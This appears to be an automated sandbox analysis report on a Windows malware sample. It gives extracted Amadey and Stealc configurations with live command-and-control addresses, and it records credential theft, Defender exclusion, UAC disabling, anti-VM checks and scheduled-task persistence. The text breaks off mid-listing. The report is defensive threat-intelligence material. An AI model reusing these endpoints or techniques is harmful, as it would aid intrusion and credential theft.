Analysis
-
max time kernel
111s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
25-04-2024 14:40
Static task
static1
General
-
Target
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe
-
Size
1.8MB
-
MD5
ea2314bc92bc85449967f3702b16b3f1
-
SHA1
1b7b0006e65b9034617993710ea434f5a5f8a9d3
-
SHA256
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1
-
SHA512
f7964e45d1c6c1f280d277126a65c10dad131f761125f59bcfd305d4af73fc673bc5670685f4f5c7d8b4f9cf74be55eaef13eb95458bf93bc307a8bb6a1ad8db
-
SSDEEP
49152:j3/bn0PL9slXCsXmovCokanxuyQNryY/Vh9ydyxHb:jjnZzCCuyQNrPLqyx
Malware Config
Extracted
amadey
4.20
http://193.233.132.139
-
install_dir
5454e6f062
-
install_file
explorta.exe
-
strings_key
c7a869c5ba1d72480093ec207994e2bf
-
url_paths
/sev56rkm/index.php
Extracted
amadey
4.17
http://193.233.132.167
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
Extracted
stealc
http://52.143.157.84
-
url_path
/c73eed764cc59dcb.php
Signatures
-
Detect ZGRat V1 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2672-312-0x0000000000400000-0x0000000000592000-memory.dmp family_zgrat_v1 C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_zgrat_v1 -
Modifies firewall policy service 2 TTPs 1 IoCs
Processes:
YL5tuQ3LtoLjuC3pq1EPaSbf.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" YL5tuQ3LtoLjuC3pq1EPaSbf.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe family_redline C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_redline C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe family_redline -
Processes:
file300un.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe -
Processes:
file300un.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0" file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" YL5tuQ3LtoLjuC3pq1EPaSbf.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths file300un.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
Processes:
explorta.exeamert.exe7d41195f4d.exechrosha.exe77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exeexplorta.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exeexplorta.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorta.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ amert.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7d41195f4d.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ chrosha.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorta.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorta.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ YL5tuQ3LtoLjuC3pq1EPaSbf.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorta.exe -
Blocklisted process makes network request 2 IoCs
Processes:
rundll32.exerundll32.exeflow pid process 59 5492 rundll32.exe 71 5868 rundll32.exe -
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 5652 netsh.exe 5540 netsh.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 19 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
explorta.exe7d41195f4d.exeamert.exechrosha.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exeexplorta.exeInstall.exeexplorta.exe77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7d41195f4d.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion amert.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7d41195f4d.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion YL5tuQ3LtoLjuC3pq1EPaSbf.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion amert.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion YL5tuQ3LtoLjuC3pq1EPaSbf.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion chrosha.exe -
Executes dropped EXE 51 IoCs
Processes:
explorta.exeexplorta.exeamert.exe7617c78a76.exe7d41195f4d.exechrosha.exeexplorta.exeswiiiii.exealexxxxxxxx.exekeks.exetrf.exegold.exeNewB.exejok.exeswiiii.exefile300un.exeinstall.exerlNOp7Kno1h2LmbasjhWLrqn.exeGameService.exev2Vjv43t4tHT9bkOMLnMdAtW.exe6mfAHiyBc4XM7oPwyt8JYLsj.exeu4q0.0.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeGameService.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exerun.exeu4q0.3.exeGameService.exeGameService.exeGameServerClient.exe453435.exeWTaCK9GXrirZJlizQT8dmwTe.exeInstall.exeGameService.exeGameService.exeGameService.exeGameService.exeGameServerClientC.exe605098.exeAssistant_109.0.5097.45_Setup.exe_sfx.exev2Vjv43t4tHT9bkOMLnMdAtW.exeassistant_installer.exeassistant_installer.exe6mfAHiyBc4XM7oPwyt8JYLsj.exePVDIpmi.exeexplorta.exeNewB.exepid process 2224 explorta.exe 4912 explorta.exe 1740 amert.exe 4640 7617c78a76.exe 1444 7d41195f4d.exe 3188 chrosha.exe 1308 explorta.exe 4344 swiiiii.exe 3676 alexxxxxxxx.exe 3116 keks.exe 3000 trf.exe 4720 gold.exe 3784 NewB.exe 4460 jok.exe 4896 swiiii.exe 5348 file300un.exe 6000 install.exe 6120 rlNOp7Kno1h2LmbasjhWLrqn.exe 5744 GameService.exe 5588 v2Vjv43t4tHT9bkOMLnMdAtW.exe 5540 6mfAHiyBc4XM7oPwyt8JYLsj.exe 5552 u4q0.0.exe 5680 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5568 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5704 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5280 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5576 GameService.exe 996 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5196 YL5tuQ3LtoLjuC3pq1EPaSbf.exe 5360 run.exe 4860 u4q0.3.exe 2604 GameService.exe 5708 GameService.exe 5400 GameServerClient.exe 3316 453435.exe 5052 WTaCK9GXrirZJlizQT8dmwTe.exe 5576 Install.exe 5380 GameService.exe 1384 GameService.exe 2820 GameService.exe 1556 GameService.exe 5380 GameServerClientC.exe 5596 605098.exe 1384 Assistant_109.0.5097.45_Setup.exe_sfx.exe 4804 v2Vjv43t4tHT9bkOMLnMdAtW.exe 4672 assistant_installer.exe 2664 assistant_installer.exe 5528 6mfAHiyBc4XM7oPwyt8JYLsj.exe 5656 PVDIpmi.exe 4820 explorta.exe 2164 NewB.exe -
Identifies Wine through registry keys 2 TTPs 8 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
Processes:
chrosha.exeexplorta.exeexplorta.exe77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exeexplorta.exeamert.exe7d41195f4d.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine chrosha.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine explorta.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine explorta.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine explorta.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine explorta.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine amert.exe Key opened \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Wine 7d41195f4d.exe -
Loads dropped DLL 16 IoCs
Processes:
rundll32.exerundll32.exeRegAsm.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exerundll32.exeFY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exerun.exe453435.exeassistant_installer.exeassistant_installer.exepid process 5464 rundll32.exe 5492 rundll32.exe 5164 RegAsm.exe 5164 RegAsm.exe 5680 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5568 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5704 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5868 rundll32.exe 5280 FY89lV0dsIhtziZ3BhtAZzWQ.exe 996 FY89lV0dsIhtziZ3BhtAZzWQ.exe 5360 run.exe 3316 453435.exe 4672 assistant_installer.exe 4672 assistant_installer.exe 2664 assistant_installer.exe 2664 assistant_installer.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Pictures\YL5tuQ3LtoLjuC3pq1EPaSbf.exe themida -
Processes:
YL5tuQ3LtoLjuC3pq1EPaSbf.exefile300un.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" YL5tuQ3LtoLjuC3pq1EPaSbf.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths file300un.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0" file300un.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
explorta.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\7d41195f4d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000014001\\7d41195f4d.exe" explorta.exe Set value (str) \REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\7617c78a76.exe = "C:\\Users\\Admin\\1000013002\\7617c78a76.exe" explorta.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
file300un.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA YL5tuQ3LtoLjuC3pq1EPaSbf.exe -
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
FY89lV0dsIhtziZ3BhtAZzWQ.exeFY89lV0dsIhtziZ3BhtAZzWQ.exedescription ioc process File opened (read-only) \??\D: FY89lV0dsIhtziZ3BhtAZzWQ.exe File opened (read-only) \??\F: FY89lV0dsIhtziZ3BhtAZzWQ.exe File opened (read-only) \??\D: FY89lV0dsIhtziZ3BhtAZzWQ.exe File opened (read-only) \??\F: FY89lV0dsIhtziZ3BhtAZzWQ.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 20 api.myip.com 82 api.myip.com 83 ipinfo.io 84 ipinfo.io -
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule C:\Users\Admin\1000013002\7617c78a76.exe autoit_exe -
Drops file in System32 directory 11 IoCs
Processes:
powershell.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exepowershell.exepowershell.exepowershell.exePVDIpmi.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\System32\GroupPolicy YL5tuQ3LtoLjuC3pq1EPaSbf.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol PVDIpmi.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini PVDIpmi.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini YL5tuQ3LtoLjuC3pq1EPaSbf.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol YL5tuQ3LtoLjuC3pq1EPaSbf.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI YL5tuQ3LtoLjuC3pq1EPaSbf.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
Processes:
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exeexplorta.exeamert.exe7d41195f4d.exechrosha.exeexplorta.exeYL5tuQ3LtoLjuC3pq1EPaSbf.exeexplorta.exepid process 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe 2224 explorta.exe 4912 explorta.exe 1740 amert.exe 1444 7d41195f4d.exe 3188 chrosha.exe 1308 explorta.exe 5196 YL5tuQ3LtoLjuC3pq1EPaSbf.exe 4820 explorta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
explorta.exeswiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exerun.execmd.exedescription pid process target process PID 2224 set thread context of 4912 2224 explorta.exe explorta.exe PID 4344 set thread context of 4964 4344 swiiiii.exe RegAsm.exe PID 3676 set thread context of 2672 3676 alexxxxxxxx.exe RegAsm.exe PID 4720 set thread context of 3676 4720 gold.exe RegAsm.exe PID 4896 set thread context of 5164 4896 swiiii.exe RegAsm.exe PID 5348 set thread context of 5796 5348 file300un.exe AddInProcess32.exe PID 5360 set thread context of 4864 5360 run.exe cmd.exe PID 4864 set thread context of 2352 4864 cmd.exe MSBuild.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
v2Vjv43t4tHT9bkOMLnMdAtW.exe6mfAHiyBc4XM7oPwyt8JYLsj.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN v2Vjv43t4tHT9bkOMLnMdAtW.exe File opened (read-only) \??\VBoxMiniRdrDN 6mfAHiyBc4XM7oPwyt8JYLsj.exe -
Drops file in Program Files directory 10 IoCs
Processes:
install.exedescription ioc process File opened for modification C:\Program Files (x86)\GameServerClient\installg.bat install.exe File created C:\Program Files (x86)\GameServerClient\GameService.exe install.exe File opened for modification C:\Program Files (x86)\GameServerClient\GameService.exe install.exe File created C:\Program Files (x86)\GameServerClient\GameServerClient.exe install.exe File created C:\Program Files (x86)\GameServerClient\GameServerClientC.exe install.exe File created C:\Program Files (x86)\GameServerClient\installg.bat install.exe File opened for modification C:\Program Files (x86)\GameServerClient\installc.bat install.exe File opened for modification C:\Program Files (x86)\GameServerClient\GameServerClient.exe install.exe File opened for modification C:\Program Files (x86)\GameServerClient\GameServerClientC.exe install.exe File created C:\Program Files (x86)\GameServerClient\installc.bat install.exe -
Drops file in Windows directory 3 IoCs
Processes:
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeamert.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\explorta.job 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe File created C:\Windows\Tasks\chrosha.job amert.exe File created C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe -
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exepid process 6104 sc.exe 1080 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 9 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3016 4344 WerFault.exe swiiiii.exe 4640 3676 WerFault.exe alexxxxxxxx.exe 1604 4720 WerFault.exe gold.exe 3736 5552 WerFault.exe u4q0.0.exe 1176 6120 WerFault.exe rlNOp7Kno1h2LmbasjhWLrqn.exe 6096 5588 WerFault.exe v2Vjv43t4tHT9bkOMLnMdAtW.exe 6108 5588 WerFault.exe v2Vjv43t4tHT9bkOMLnMdAtW.exe 5884 5540 WerFault.exe 6mfAHiyBc4XM7oPwyt8JYLsj.exe 4472 5540 WerFault.exe 6mfAHiyBc4XM7oPwyt8JYLsj.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
u4q0.3.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u4q0.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u4q0.3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u4q0.3.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RegAsm.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 5468 schtasks.exe 1912 schtasks.exe 5448 schtasks.exe 6092 schtasks.exe 5872 schtasks.exe 5476 schtasks.exe 2820 schtasks.exe 2148 schtasks.exe 5008 schtasks.exe 4068 schtasks.exe 6080 schtasks.exe 4576 schtasks.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
chrome.exeInstall.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exev2Vjv43t4tHT9bkOMLnMdAtW.exepowershell.exepowershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 